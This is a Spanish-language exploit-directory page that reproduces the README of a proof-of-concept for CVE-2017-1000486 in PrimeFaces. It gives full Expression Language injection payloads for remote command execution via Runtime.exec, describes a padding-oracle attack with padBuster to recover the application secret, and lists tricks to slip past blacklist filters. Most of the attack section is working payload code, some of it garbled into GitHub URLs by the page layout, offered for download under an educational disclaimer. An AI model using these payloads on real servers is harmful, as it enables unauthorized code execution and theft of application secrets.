Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-1000486 | Kitploit
Herramientas/GitHubGitHub/pastea/cve-2017-1000486
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubpastea/cve-2017-1000486

CVE-2017-1000486

Ver Repositorio
41hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-1000486

Este es un PoC de CVE-2017-1000486 con algunos payloads útiles para evadir los controles lexicográficos de listas negras sobre funciones estándar utilizadas para lograr RCE (getClass(), exec(), etc.) y para recuperar el secreto de PrimeFaces a través de Padding Oracle con el fin de ser lo menos ruidoso posible en la explotación.

Gracias a @pimps, @federicodotta y @AonCyberLabs por su trabajo relacionado con el tema.

Descripción

Este PoC es un script de múltiples pasos útil para analizar el contexto de cada aplicación y de las librerías de servidores web disponibles.

Inicialmente, se utiliza el script perl padBuster escrito por @AonCyberLabs para recuperar el secreto de PrimeFaces, si no se proporciona manualmente. Esto puede ser útil para reducir el número de peticiones realizadas al servidor en el cifrado posterior de los payloads, acelerando todo el proceso. El tiempo necesario para explotar la vulnerabilidad Padding Oracle es directamente proporcional al tamaño de los payloads; usarlo solo en la primera fase con un payload bastante más pequeño mejora mucho el rendimiento. No quiero reescribir todo el código de padBuster para integrarlo directamente con Python, por lo que se realiza una ejecución limpia de comandos a través del sistema operativo para ejecutarlo.

Payload EL:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22SECRET%22,initParam%5B%22primefaces.SECRET%22%5D)}

Se realiza una comprobación simple con un EL que lleva a cabo una inyección de cabecera para verificar la ejecución de código EL. Ten en cuenta que en este caso hay dos métodos disponibles, setResponseHeader y addResponseHeader; otros métodos disponibles pueden consultarse en la documentación oficial.

Payload EL:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22PROVA%22,%22123456%22)}

A continuación, se realiza una serie de comprobaciones sobre las variables implícitas disponibles para resaltar algunos posibles problemas causados por librerías de servidores web personalizadas que no ofrecen todas las variables implícitas, como IBM WebLogic. Además, se obtiene la versión del Java Runtime intentando ser lo más específico posible con el payload.

De hecho, he observado que en Java <=7 existe cierta confusión de tipos de parámetros en los métodos invocados. Supongo que esto ocurre debido a la asignación de tipos de variables que realiza el parser de EL. Para evitarlo, el script hace referencia a métodos específicos mediante el array getDeclaredMethods(); en este caso es necesaria la identificación del índice correcto para cada método usado. Esto obviamente incrementa el tamaño del payload, pero aporta mucha resiliencia.

Para crear un array de bytes como búfer se utiliza una solución alternativa mediante "".format("%0999d",0).getBytes(), que crea un búfer de tamaño 999, o "0000000".getBytes(), que crea un búfer de tamaño 7.

EL estándar:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}

EL con getDeclaredMethods():

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}

Mejoras

  • Los métodos en JSF pueden llamarse mediante la referencia ["method"](), no solo como en Java estándar con notación de punto .method(). Esto puede ayudar a evadir los filtros realizados en el servidor entre el descifrado y la ejecución del EL.

  • getClass() puede sustituirse por la sentencia ["class"]

  • facesContext.getExternalContext().getSession(true).putValue() puede sustituirse por session.setAttribute(); como enfoque general, cualquier mapa puede usarse como repositorio para almacenar variables.

Descargo de responsabilidad

ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS, CON LA INTENCIÓN DE USARSE SOLO CON FINES DE INVESTIGACIÓN.

NO PUEDES UTILIZAR ESTE SOFTWARE PARA NINGÚN FIN ILEGAL O ANTIÉTICO, INCLUIDAS LAS ACTIVIDADES QUE PUDIERAN DAR LUGAR A RESPONSABILIDAD PENAL O CIVIL.

ÚSALO BAJO TU PROPIO RIESGO. ESTE SOFTWARE ES PROPORCIONADO POR EL TITULAR DEL COPYRIGHT O LOS COLABORADORES "TAL CUAL" Y SE RENUNCIA A CUALQUIER GARANTÍA EXPRESA O IMPLÍCITA, INCLUIDAS, ENTRE OTRAS, LAS GARANTÍAS IMPLÍCITAS DE COMERCIABILIDAD E IDONEIDAD PARA UN FIN PARTICULAR. EN NINGÚN CASO EL TITULAR DEL COPYRIGHT O LOS COLABORADORES SERÁN RESPONSABLES DE NINGÚN DAÑO DIRECTO, INDIRECTO, INCIDENTAL, ESPECIAL, EJEMPLAR O CONSECUENTE.

Descargar herramienta